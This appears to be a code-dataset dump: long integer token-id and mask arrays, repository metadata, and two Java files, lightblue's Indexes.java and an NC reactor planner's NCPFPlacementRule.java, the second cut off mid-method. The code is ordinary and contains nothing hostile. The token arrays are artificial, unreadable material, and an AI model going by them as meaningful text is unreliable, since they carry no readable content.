32701,
742,
343,
339,
343,
4587,
15087,
32701,
22229,
299,
327,
1193,
15087,
32701,
46,
10787,
1195,
51,
390,
45,
973,
312,
343,
1727,
11667,
16486,
299,
22229,
51,
9699,
492,
343,
2210,
559,
299,
1431,
2610,
51,
390,
45,
20946,
312,
343,
434,
327,
119,
630,
762,
46,
320,
419,
1614,
320,
547,
559,
299,
16486,
51,
36823,
1885,
459,
3126,
2346,
411,
20746,
971,
51,
842,
312,
547,
1949,
20803,
1181,
1885,
46,
119,
312,
419,
339,
2385,
327,
26348,
1885,
1002,
503,
46,
320,
547,
559,
299,
1199,
100,
8469,
64,
419,
339,
419,
1431,
2610,
51,
543,
45,
20946,
49,
559,
312,
343,
339,
343,
434,
327,
119,
630,
1199,
100,
8469,
46,
320,
419,
1440,
556,
3284,
45,
547,
332,
15087,
1976,
666,
2208,
9951,
2346,
45,
32640,
13365,
343,
339,
343,
5409,
1991,
299,
327,
1885,
46,
119,
64,
343,
1991,
51,
7845,
45,
10787,
49,
1221,
312,
310,
339,
2385,
327,
1002,
503,
46,
320,
343,
1440,
556,
13383,
45,
419,
332,
9752,
666,
4245,
11849,
1221,
480,
332,
419,
494,
332,
1193,
15087,
4897,
19264,
1221,
411,
503,
312,
310,
339,
303,
339,
465,
496,
1806,
303,
648,
1492,
638,
365,
320,
310,
461,
13670,
100,
15311,
100,
6970,
64,
303,
339,
465,
496,
1806,
303,
648,
1492,
2396,
365,
320,
310,
648,
1798,
299,
244,
55,
64,
603,
434,
327,
5732,
2080,
51,
123,
2394,
15653,
2080,
51,
15156,
54,
55,
51,
123,
46,
320,
343,
1798,
1475,
19766,
2199,
2899,
10462,
51,
911,
402,
3171,
492,
310,
339,
603,
461,
1798,
494,
8214,
51,
1340,
64,
303,
339,
465,
496,
1806,
303,
782,
3256,
45,
37110,
1529,
1880,
328,
46,
2589,
6300,
320,
310,
434,
327,
5732,
2080,
51,
123,
2394,
15653,
2080,
51,
15156,
54,
55,
51,
123,
46,
320,
343,
328,
51,
543,
1438,
61,
45,
28916,
463,
7790,
10462,
51,
390,
2899,
899,
1052,
343,
328,
51,
543,
1438,
61,
45,
28916,
463,
7790,
10462,
51,
390,
7790,
899,
1052,
310,
339,
603,
328,
51,
543,
3656,
54,
59,
45,
9588,
312,
303,
339,
465,
496,
1806,
303,
782,
1489,
45,
4026,
1880,
328,
46,
2589,
6300,
320,
310,
328,
51,
3962,
459,
8150,
22596,
10574,
742,
603,
434,
327,
2824,
882,
762,
979,
8093,
51,
316,
1501,
459,
10563,
2152,
320,
343,
434,
327,
5732,
2080,
51,
123,
2394,
15653,
2080,
51,
15156,
54,
55,
51,
123,
46,
320,
419,
328,
51,
3962,
459,
7790,
24608,
332,
494,
733,
14252,
463,
7790,
10462,
51,
390,
10462,
577,
1052,
343,
339,
310,
339,
303,
339,
222,
130,
499,
222,
1127,
222,
338,
30464,
28771,
2437,
4643,
829,
4354,
35534,
480,
28325,
222,
338,
222,
338,
1369,
458,
341,
30464,
28771,
1492,
641,
3433,
347,
341,
14149,
480,
16819,
29221,
51,
222,
338,
23739,
29221,
5623,
477,
31068,
1492,
20828,
29935,
51,
222,
338,
1369,
462,
9568,
4354,
15488,
51,
222,
338,
222,
338,
5094,
4114,
635,
4877,
458,
11285,
49,
2531,
5226,
18613,
331,
332,
2357,
100,
19625,
100,
2314,
39,
222,
338,
3646,
49,
1636,
13292,
18613,
331,
332,
15017,
39,
31068,
1492,
20299,
222,
338,
9299,
391,
341,
16394,
29024,
337,
18844,
1394,
51,
222,
338,
222,
338,
12125,
708,
6234,
477,
458,
4643,
49,
1307,
3039,
727,
1648,
545,
5424,
49,
7361,
222,
338,
1649,
3000,
50,
1555,
18844,
13270,
1421,
3443,
2602,
758,
992,
563,
477,
3401,
222,
338,
3401,
327,
106,
51,
108,
51,
331,
4575,
31068,
26538,
105,
1611,
566,
222,
588,
222,
1592,
1175,
462,
43089,
2041,
17414,
14915,
1193,
320,
465,
453,
8100,
456,
331,
43089,
1492,
4643,
829,
341,
2060,
303,
1175,
924,
648,
35534,
299,
244,
54,
64,
465,
453,
8100,
456,
331,
43089,
1492,
4643,
829,
341,
2160,
303,
1175,
924,
648,
28325,
299,
244,
55,
64,
465,
453,
3858,
40483,
63,
244,
332,
1601,
4750,
39,
480,
332,
6479,
9279,
39,
303,
964,
924,
1175,
3447,
1197,
14149,
100,
10929,
299,
320,
244,
53,
125,
57,
56,
49,
244,
53,
125,
57,
72,
49,
244,
53,
125,
57,
74,
49,
244,
53,
125,
58,
57,
1487,
303,
964,
924,
1175,
3447,
1197,
14149,
100,
8099,
299,
320,
244,
53,
125,
58,
56,
49,
244,
53,
125,
58,
55,
49,
244,
53,
125,
58,
59,
49,
244,
53,
125,
58,
55,
1487,
465,
1276,
294,
338,
25749,
451,
341,
11285,
1492,
2903,
21034,
1912,
2643,
16819,
49,
580,
294,
338,
458,
244,
54,
55,
3534,
1964,
49,
456,
14149,
123,
56,
244,
56,
59,
3534,
51,
294,
588,
303,
964,
3447,
1197,
6152,
768,
64,
465,
1276,
294,
338,
7517,
18844,
13270,
1019,
904,
7571,
35691,
1761,
51,
244,
16819,
244,
54,
51,
55,
1421,
294,
338,
35609,
502,
4689,
50,
2202,
2789,
75,
17299,
51,
294,
588,
303,
964,
15653,
2080,
7088,
2080,
64,
303,
964,
40326,
10911,
18844,
10911,
64,
465,
1276,
294,
338,
2673,
331,
11285,
1492,
391,
3256,
391,
341,
6564,
10373,
51,
294,
588,
303,
43089,
45,
5519,
2080,
7088,
2080,
49,
17414,
14915,
2899,
31068,
2899,
49,
343,
648,
7056,
49,
20746,
971,
6534,
49,
40326,
10911,
18844,
10911,
46,
320,
310,
477,
51,
5732,
2080,
299,
7088,
2080,
64,
310,
477,
51,
19625,
10911,
299,
18844,
10911,
64,
310,
6152,
768,
299,
640,
14071,
45,
40063,
2899,
49,
7056,
49,
6534,
312,
303,
339,
465,
1276,
294,
338,
12836,
708,
14845,
30464,
28771,
1492,
664,
3458,
51,
294,
588,
303,
43089,
45,
5519,
2080,
7088,
2080,
49,
17414,
14915,
402,
1880,
1533,
49,
343,
40326,
10911,
18844,
10911,
46,
2589,
6300,
320,
310,
477,
51,
5732,
2080,
299,
7088,
2080,
64,
310,
477,
51,
19625,
10911,
299,
18844,
10911,
64,
310,
648,
3141,
5752,
299,
327,
5732,
2080,
51,
123,
2394,
15653,
2080,
51,
15156,
54,
53,
51,
123,
46,
1037,
244,
54,
55,
518,
244,
56,
59,
64,
310,
6152,
768,
299,
556,
3447,
96,
2093,
5752,
988,
310,
1533,
51,
870,
45,
6970,
768,
312,
303,
339,
465,
1276,
294,
338,
12082,
708,
341,
27708,
2464,
904,
2794,
2285,
1178,
2602,
16526,
294,
338,
9299,
391,
331,
2716,
758,
451,
7872,
51,
244,
1369,
458,
1674,
391,
7197,
708,
294,
338,
4354,
2060,
480,
2160,
904,
12114,
347,
7659,
49,
480,
708,
341,
31068,
294,
338,
18117,
1014,
1178,
2602,
10155,
51,
294,
588,
303,
1922,
6152,
45,
37110,
2899,
31068,
2899,
49,
648,
7056,
49,
20746,
971,
6534,
46,
320,
310,
3447,
1197,
1690,
14071,
299,
640,
14071,
45,
40063,
2899,
49,
7056,
49,
6534,
312,
310,
461,
4587,
15087,
51,
47141,
45,
1791,
14071,
49,
6152,
768,
312,
303,
339,
465,
1276,
294,
338,
19810,
341,
4668,
11285,
1492,
17751,
51,
294,
588,
303,
964,
3447,
1197,
640,
14071,
45,
37110,
2899,
31068,
2899,
49,
343,
648,
7056,
49,
20746,
971,
6534,
971,
46,
320,
310,
3447,
1197,
17763,
2186,
64,
310,
910,
27166,
2186,
64,
310,
434,
327,
8272,
630,
35534,
46,
320,
343,
17763,
2186,
299,
14149,
100,
10929,
64,
343,
27166,
2186,
299,
332,
1598,
11285,
884,
310,
339,
832,
434,
327,
8272,
630,
28325,
46,
320,
343,
17763,
2186,
299,
14149,
100,
8099,
64,
343,
27166,
2186,
299,
332,
1805,
11285,
884,
310,
339,
832,
320,
343,
1440,
556,
13383,
459,
3828,
7056,
63,
332,
494,
7056,
312,
310,
339,
603,
434,
327,
5732,
2080,
51,
123,
2394,
15653,
2080,
51,
15156,
54,
53,
51,
123,
46,
320,
343,
453,
16819,
244,
54,
51,
53,
48,
343,
1614,
320,
419,
3447,
1627,
9202,
64,
419,
910,
1173,
107,
32444,
64,
419,
2789,
75,
1173,
107,
64,
2125,
453,
1408,
341,
3907,
4829,
22172,
480,
9226,
341,
9202,
51,
419,
434,
327,
5732,
2080,
51,
123,
2394,
15653,
2080,
51,
15156,
54,
55,
51,
123,
46,
320,
547,
453,
16819,
244,
54,
51,
55,
547,
9202,
299,
31068,
2899,
51,
390,
14071,
2899,
492,
3704,
1173,
107,
32444,
299,
332,
21599,
30073,
54,
55,
2161,
107,
884,
547,
1173,
107,
299,
18844,
10911,
51,
796,
107,
32444,
64,
419,
339,
832,
320,
547,
453,
16819,
244,
54,
51,
53,
52,
54,
51,
54,
547,
4587,
15087,
8745,
58,
11533,
299,
31068,
2899,
51,
390,
5121,
58,
11533,
492,
547,
4587,
15087,
9635,
11533,
299,
31068,
2899,
51,
390,
2526,
1205,
113,
677,
492,
547,
9202,
299,
556,
3447,
96,
56,
59,
988,
547,
8745,
58,
11533,
51,
13997,
45,
7512,
49,
244,
53,
49,
244,
54,
59,
312,
547,
9635,
11533,
51,
13997,
45,
7512,
49,
244,
54,
59,
49,
244,
55,
53,
312,
3704,
1173,
107,
32444,
299,
332,
21599,
30073,
2161,
107,
884,
547,
1173,
107,
299,
466,
100,
8476,
64,
419,
339,
2125,
910,
1173,
107,
2899,
32444,
299,
1173,
107,
51,
390,
2999,
75,
2899,
32444,
492,
419,
648,
1173,
107,
2899,
2396,
299,
1173,
107,
51,
390,
2999,
75,
2899,
2396,
492,
419,
648,
1173,
107,
35496,
299,
1173,
107,
51,
390,
2999,
75,
35496,
492,
2125,
1276,
372,
338,
21611,
244,
58,
55,
57,
59,
52,
60,
51,
57,
51,
62,
15950,
708,
11285,
5231,
902,
372,
338,
545,
35609,
502,
4689,
50,
10281,
347,
4354,
3124,
52,
2999,
75,
3696,
372,
338,
8274,
51,
244,
1691,
1019,
14552,
1441,
10192,
331,
3473,
372,
338,
3124,
49,
477,
1495,
1118,
1868,
391,
545,
4478,
51,
372,
588,
419,
413,
3259,
2161,
107,
3026,
2722,
1394,
299,
556,
413,
3259,
2161,
107,
3026,
2722,
45,
547,
6534,
971,
49,
27166,
2186,
49,
9202,
49,
244,
54,
55,
49,
547,
1173,
107,
2899,
32444,
49,
1173,
107,
2899,
2396,
49,
1173,
107,
35496,
312,
2125,
3907,
4829,
851,
108,
299,
990,
19907,
79,
388,
51,
11728,
4829,
45,
796,
107,
32444,
312,
419,
851,
108,
51,
1683,
45,
2314,
312,
419,
20746,
971,
1173,
107,
971,
299,
851,
108,
51,
5555,
971,
492,
419,
434,
2903,
20373,
2316,
3591,
45,
796,
107,
971,
51,
390,
2222,
1177,
630,
920,
46,
320,
547,
1440,
556,
15724,
1002,
45,
733,
332,
3828,
2789,
75,
1716,
49,
2224,
2315,
545,
44450,
742,
419,
339,
419,
3447,
1197,
11285,
299,
1173,
107,
971,
51,
390,
18037,
492,
419,
461,
11285,
64,
343,
339,
2385,
327,
8633,
5196,
1002,
503,
46,
320,
419,
1440,
556,
13383,
459,
2999,
75,
3818,
411,
503,
312,
343,
339,
310,
339,
832,
320,
343,
453,
14149,
123,
56,
343,
4587,
15087,
8745,
58,
11533,
299,
31068,
2899,
51,
390,
5121,
58,
11533,
492,
343,
4587,
15087,
9635,
11533,
299,
31068,
2899,
51,
390,
2526,
1205,
113,
677,
492,
343,
1991,
15087,
45,
973,
58,
11533,
49,
17763,
2186,
49,
19152,
58,
100,
6151,
54,
49,
19152,
58,
100,
6151,
55,
49,
6534,
971,
312,
343,
1991,
15087,
45,
5578,
11533,
49,
17763,
2186,
49,
11856,
100,
6151,
54,
49,
11856,
100,
6151,
55,
49,
6534,
971,
312,
343,
3447,
1197,
11285,
299,
556,
3447,
96,
56,
59,
988,
343,
1614,
320,
419,
8745,
58,
11533,
51,
13997,
45,
15017,
49,
244,
53,
49,
244,
54,
59,
312,
419,
9635,
11533,
51,
13997,
45,
15017,
49,
244,
54,
59,
49,
244,
55,
53,
312,
343,
339,
2385,
327,
15087,
1002,
503,
46,
320,
419,
453,
4897,
13820,
419,
1440,
556,
13383,
459,
15087,
3818,
411,
503,
312,
343,
339,
343,
461,
11285,
64,
310,
339,
303,
339,
465,
1276,
294,
338,
4013,
341,
4587,
15087,
456,
14149,
123,
56,
11285,
1492,
17751,
51,
294,
338,
906,
19264,
2315,
3443,
1178,
2602,
4478,
642,
1187,
46079,
31068,
294,
338,
5231,
51,
1369,
4231,
458,
17424,
21090,
391,
341,
10286,
6152,
294,
338,
3696,
49,
23423,
708,
1361,
51,
294,
588,
303,
964,
924,
782,
1991,
15087,
45,
1193,
15087,
8745,
49,
3447,
1197,
7056,
49,
343,
3447,
1197,
9841,
54,
49,
3447,
1197,
9841,
55,
49,
20746,
971,
6534,
7795,
46,
320,
310,
8745,
51,
1896,
45,
8272,
312,
310,
22596,
10574,
51,
1896,
15087,
45,
973,
49,
9841,
54,
49,
9841,
55,
49,
6534,
7795,
312,
303,
339,
465,
453,
640,
341,
6152,
100,
624,
451,
341,
11285,
1492,
303,
3447,
1197,
640,
10574,
768,
365,
320,
310,
461,
6152,
768,
64,
303,
339,
465,
496,
1806,
303,
648,
1492,
638,
365,
320,
461,
13670,
100,
15017,
64,
339,
465,
496,
1806,
303,
648,
1492,
2396,
365,
320,
310,
461,
6152,
768,
51,
1340,
64,
303,
339,
465,
496,
1806,
303,
782,
3256,
45,
37110,
1529,
1880,
986,
46,
2589,
6300,
320,
310,
986,
51,
1838,
45,
6970,
768,
312,
303,
339,
465,
496,
1806,
303,
782,
1489,
45,
4026,
1880,
328,
46,
2589,
6300,
320,
310,
328,
51,
3962,
459,
8150,
43089,
742,
310,
434,
327,
2824,
882,
762,
979,
8093,
51,
316,
1501,
459,
10563,
2152,
320,
343,
8093,
51,
3962,
45,
120,
49,
332,
6970,
100,
624,
411,
6152,
768,
312,
343,
328,
51,
3962,
459,
8150,
742,
310,
339,
303,
339,
222,
130,
222,
222,
325,
222,
325,
7092,
451,
11825,
6052,
222,
325,
222,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 16,337
| true
| 59.240116
| true
| true
|
Indexes.java
|
/FileExtraction/Java_unseen/lightblue-platform_lightblue-core/metadata/src/main/java/com/redhat/lightblue/metadata/Indexes.java
|
/*
Copyright 2013 Red Hat, Inc. and/or its affiliates.
This file is part of lightblue.
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package com.redhat.lightblue.metadata;
import com.redhat.lightblue.util.Path;
import java.util.*;
/**
*
* @author nmalik
*/
public class Indexes extends MetadataObject {
private final ArrayList<Index> indexes = new ArrayList<>();
public Indexes() {
}
public Indexes(Index... ix) {
for (Index x : ix) {
indexes.add(x);
}
}
public void add(Index x) {
indexes.add(x);
}
public void setIndexes(Collection<Index> indexes) {
this.indexes.clear();
if (indexes != null) {
this.indexes.addAll(indexes);
}
}
@SuppressWarnings("unchecked")
public List<Index> getIndexes() {
return (List<Index>) indexes.clone();
}
public boolean isEmpty() {
return indexes.isEmpty();
}
/**
* Returns the indexes that can be used to evaluate a search criteria
* containing the given fields
*
* @param fields List of fields for which a search will be conducted
*
* @return A map of index -> set<Path> where for each index, the mapped path
* set gives the fields that can be searched efficiently using that index.
*/
public Map<Index, Set<Path>> getUsefulIndexes(Collection<Path> fields) {
Map<Index, Set<Path>> m = new HashMap<>();
for (Index ix : indexes) {
Set<Path> u = ix.getUsefulness(fields);
if (!u.isEmpty()) {
m.put(ix, u);
}
}
return m;
}
}
| 2,232
|
Java
|
.java
|
lightblue-platform/lightblue-core
| 31
| 23
| 128
|
2013-11-05T15:44:42Z
|
2023-01-09T11:36:18Z
|
44617f8c1df2848c8a2cc0d5dd4ca4296d0ad556752dbc33557793b990993d76
|
[
1127,
222,
2657,
244,
55,
53,
54,
56,
4777,
30044,
49,
6367,
51,
480,
52,
290,
2840,
25094,
51,
499,
1369,
822,
458,
1760,
451,
6314,
5494,
51,
499,
1369,
3477,
458,
3760,
2951,
63,
863,
902,
14081,
580,
480,
52,
290,
5370,
222,
580,
1549,
341,
5974,
451,
341,
6994,
6153,
5062,
1196,
641,
9582,
829,
222,
341,
7834,
3870,
7120,
49,
3173,
1522,
244,
56,
451,
341,
1196,
49,
575,
222,
327,
288,
1390,
2489,
46,
1364,
6146,
1522,
51,
499,
1369,
3477,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
222,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
222,
7934,
575,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
222,
6994,
6153,
5062,
1196,
456,
1851,
4261,
51,
499,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
6153,
5062,
1196,
222,
7979,
642,
477,
3477,
51,
244,
1691,
666,
49,
2337,
350,
544,
574,
1516,
51,
10627,
51,
1107,
52,
4205,
28699,
222,
588,
222,
1337,
785,
51,
23672,
51,
2447,
5494,
51,
4541,
64,
222,
222,
485,
785,
51,
23672,
51,
2447,
5494,
51,
1058,
51,
1233,
64,
222,
222,
485,
1401,
51,
1058,
7737,
222,
222,
1350,
222,
338,
222,
338,
496,
2133,
329,
7994,
1567,
222,
588,
222,
942,
462,
27765,
2041,
13525,
976,
320,
465,
964,
1175,
5068,
65,
1301,
67,
17230,
299,
556,
5068,
6984,
465,
581,
27765,
365,
320,
303,
339,
465,
581,
27765,
45,
1301,
1198,
19538,
46,
320,
310,
456,
327,
1301,
837,
518,
19538,
46,
320,
343,
17230,
51,
688,
45,
125,
312,
310,
339,
303,
339,
465,
581,
782,
1035,
45,
1301,
837,
46,
320,
310,
17230,
51,
688,
45,
125,
312,
303,
339,
465,
581,
782,
758,
19383,
45,
2272,
65,
1301,
67,
17230,
46,
320,
310,
477,
51,
18826,
51,
3830,
492,
310,
434,
327,
18826,
882,
762,
46,
320,
343,
477,
51,
18826,
51,
15109,
45,
18826,
312,
310,
339,
303,
339,
465,
496,
14030,
459,
18362,
678,
303,
581,
1701,
65,
1301,
67,
640,
19383,
365,
320,
310,
461,
327,
739,
65,
1301,
5111,
17230,
51,
6371,
492,
303,
339,
465,
581,
1922,
29059,
365,
320,
310,
461,
17230,
51,
6401,
492,
303,
339,
465,
1041,
294,
338,
3777,
341,
17230,
708,
902,
545,
1674,
391,
13552,
331,
3252,
15296,
294,
338,
6663,
341,
2716,
3844,
294,
338,
294,
338,
496,
772,
3844,
1701,
451,
3844,
456,
1532,
331,
3252,
1118,
545,
25801,
337,
294,
338,
294,
338,
496,
620,
418,
2010,
451,
1671,
984,
758,
65,
1233,
67,
2174,
456,
2531,
1671,
49,
341,
14742,
1536,
294,
338,
758,
13437,
341,
3844,
708,
902,
545,
27911,
43067,
1493,
708,
1671,
51,
294,
588,
303,
581,
3531,
65,
1301,
49,
1776,
65,
1233,
2023,
640,
4404,
2812,
19383,
45,
2272,
65,
1233,
67,
3844,
46,
320,
310,
3531,
65,
1301,
49,
1776,
65,
1233,
2023,
364,
299,
556,
8329,
6984,
310,
456,
327,
1301,
19538,
518,
17230,
46,
320,
343,
1776,
65,
1233,
67,
1064,
299,
19538,
51,
390,
4404,
2812,
4342,
45,
4169,
312,
343,
434,
1445,
122,
51,
6401,
1177,
320,
419,
364,
51,
543,
45,
801,
49,
1064,
312,
343,
339,
310,
339,
310,
461,
364,
64,
303,
339,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 541
| true
| 63.44086
| true
| true
|
NCPFPlacementRule.java
|
/FileExtraction/Java_unseen/ThizThizzyDizzy_nc-reactor-generator/src/net/ncplanner/plannerator/ncpf/NCPFPlacementRule.java
|
package net.ncplanner.plannerator.ncpf;
import java.util.ArrayList;
import java.util.List;
import java.util.function.Function;
import java.util.function.Supplier;
import net.ncplanner.plannerator.multiblock.Axis;
import net.ncplanner.plannerator.multiblock.AbstractBlock;
import net.ncplanner.plannerator.multiblock.Direction;
import net.ncplanner.plannerator.multiblock.Edge;
import net.ncplanner.plannerator.multiblock.Multiblock;
import net.ncplanner.plannerator.multiblock.Vertex;
import net.ncplanner.plannerator.ncpf.element.NCPFElementDefinition;
import net.ncplanner.plannerator.ncpf.element.NCPFModuleElement;
import net.ncplanner.plannerator.ncpf.io.NCPFObject;
import net.ncplanner.plannerator.ncpf.module.NCPFModule;
import net.ncplanner.plannerator.planner.StringUtil;
import net.ncplanner.plannerator.planner.ncpf.module.AirModule;
public class NCPFPlacementRule extends DefinedNCPFObject{
public RuleType rule;
public NCPFElementReference target;//block or module reference
public int min;
public int max;
public List<NCPFPlacementRule> rules = new ArrayList<>();
@Override
public void convertFromObject(NCPFObject ncpf){
rule = RuleType.match(ncpf.getString("type"));
if(rule.hasQuantity){
min = ncpf.getInteger("min");
max = ncpf.getInteger("max");
}
if(rule.hasSubRules){
rules = ncpf.getDefinedNCPFList("rules", NCPFPlacementRule::new);
}else{
target = ncpf.getDefinedModuleOrElementReference("block");
}
}
@Override
public void convertToObject(NCPFObject ncpf){
ncpf.setString("type", rule.name);
if(rule.hasQuantity){
ncpf.setInteger("min", min);
ncpf.setInteger("max", max);
}
if(rule.hasSubRules){
ncpf.setDefinedNCPFList("rules", rules);
}else{
ncpf.setDefinedNCPFObject("block", target);
}
}
public boolean containsTarget(NCPFElementDefinition definition){
if(rule.hasSubRules){
for(NCPFPlacementRule rule : rules){
if(rule.containsTarget(definition))return true;
}
return false;
}else{
return target.definition.matches(definition);
}
}
public enum RuleType{
BETWEEN("between", true, false),
AXIAL("axial", true, false),
VERTEX("vertex", false, false),
EDGE("edge", false, false),
OR("or", false, true),
AND("and", false, true);
private static RuleType match(String string){
for(RuleType rule : values())if(rule.name.equals(string))return rule;
return null;
}
private final String name;
public final boolean hasQuantity;
public final boolean hasSubRules;
private RuleType(String name, boolean hasQuantity, boolean hasSubRules){
this.name = name;
this.hasQuantity = hasQuantity;
this.hasSubRules = hasSubRules;
}
}
public <T extends NCPFPlacementRule> T parseNc(String str, Supplier<T> newRule, Function<String, Supplier<NCPFModule>> blockTypes, Function<String, NCPFElementReference> blocks){
if (str.contains("||")) {
this.rule = RuleType.OR;
for (String sub : StringUtil.split(str, "\\|\\|")){
this.rules.add(newRule.get().parseNc(sub.trim(), newRule, blockTypes, blocks));
}
} else if (str.contains("&&")) {
this.rule = RuleType.AND;
for (String sub : StringUtil.split(str, "&&")) {
this.rules.add(newRule.get().parseNc(sub.trim(), newRule, blockTypes, blocks));
}
} else {
if (str.startsWith("at least ")) str = str.substring("at least ".length());
boolean exactly = str.startsWith("exactly");
if (exactly) str = str.substring(7).trim();
int amount = 0;
if (str.startsWith("zero")) {
amount = 0;
str = str.substring(4).trim();
} else if (str.startsWith("one")) {
amount = 1;
str = str.substring(3).trim();
} else if (str.startsWith("two")) {
amount = 2;
str = str.substring(3).trim();
} else if (str.startsWith("three")) {
amount = 3;
str = str.substring(5).trim();
} else if (str.startsWith("four")) {
amount = 4;
str = str.substring(4).trim();
} else if (str.startsWith("five")) {
amount = 5;
str = str.substring(4).trim();
} else if (str.startsWith("six")) {
amount = 6;
str = str.substring(3).trim();
}
boolean axial = str.startsWith("axial");
if (axial) str = str.substring(5).trim();
if(str.startsWith("of any "))str = str.substring("of any ".length());
Supplier<NCPFModule> type = blockTypes.apply(str);
NCPFElementReference block = type==null?blocks.apply(str):null;
if (type == null && block == null)
throw new IllegalArgumentException("Failed to parse rule " + str + ": block is null!");
if (exactly && axial) {
this.rule = RuleType.AND;
T rul1 = newRule.get();
T rul2 = newRule.get();
if (type != null) {
rul1.rule = RuleType.BETWEEN;
rul2.rule = RuleType.AXIAL;
rul1.target = new NCPFModuleReference(type);
rul2.target = new NCPFModuleReference(type);
} else {
rul1.rule = RuleType.BETWEEN;
rul2.rule = RuleType.AXIAL;
rul1.target = rul2.target = block;
}
rul1.min = rul1.max = (byte) amount;
rul2.min = rul2.max = (byte) (amount / 2);
this.rules.add(rul1);
this.rules.add(rul2);
} else {
int min = amount;
int max = 6;
if (exactly) max = min;
if (type != null) {
this.rule = axial ? RuleType.AXIAL : RuleType.BETWEEN;
this.target = new NCPFModuleReference(type);
} else {
this.rule = axial ? RuleType.AXIAL : RuleType.BETWEEN;
this.target = block;
}
if (axial) {
min /= 2;
max /= 2;
}
this.min = (byte) min;
this.max = (byte) max;
}
}
return (T)this;
}
private String getTargetName(){
return target==null?null:target.getDisplayName();
}
public String toTooltipString(){
if(rule!=null){
switch (rule) {
case BETWEEN:
if (max == 6) return "At least " + min + " " + getTargetName();
if (min == max) return "Exactly " + min + " " + getTargetName();
return "Between " + min + " and " + max + " " + getTargetName();
case AXIAL:
if (max == 3) return "At least " + min + " Axial pairs of " + getTargetName();
if (min == max) return "Exactly " + min + " Axial pairs of " + getTargetName();
return "Between " + min + " and " + max + " Axial pairs of " + getTargetName();
case VERTEX:
return "Three " + getTargetName() + " at the same vertex";
case EDGE:
return "Two " + getTargetName() + " at the same edge";
case AND:
StringBuilder s = new StringBuilder();
for (NCPFPlacementRule rule : rules) {
s.append(" AND ").append(rule.toTooltipString());
}
return (s.length() == 0) ? s.toString() : StringUtil.substring(s, 5);
case OR:
s = new StringBuilder();
for (NCPFPlacementRule rule : rules) {
s.append(" OR ").append(rule.toTooltipString());
}
return (s.length() == 0) ? s.toString() : StringUtil.substring(s, 4);
}
}
return "Unknown Rule";
}
private boolean isAirMatch() {
return target!=null&&target.definition.matches(new NCPFModuleReference(AirModule::new).definition);
}
private <T extends AbstractBlock> boolean blockMatches(AbstractBlock block, Multiblock<T> reactor) {
if(target.definition instanceof NCPFModuleElement){
NCPFModuleReference moduleReference = target.copyTo(NCPFModuleReference::new);
moduleReference.setReferences(null);
if(moduleReference.definition.matches(new NCPFModuleReference(AirModule::new).definition))return block==null;
return block!=null&&block.getTemplate().hasModule(moduleReference.module);
}else{
return block!=null&&block.getTemplate().definition.matches(target.definition);
}
}
public <T extends AbstractBlock> boolean isValid(AbstractBlock block, Multiblock<T> reactor) {
int num = 0;
boolean isAirMatch = isAirMatch();
switch (rule) {
case BETWEEN:
if (isAirMatch) {
num = 6 - block.getAdjacent(reactor).size();
} else {
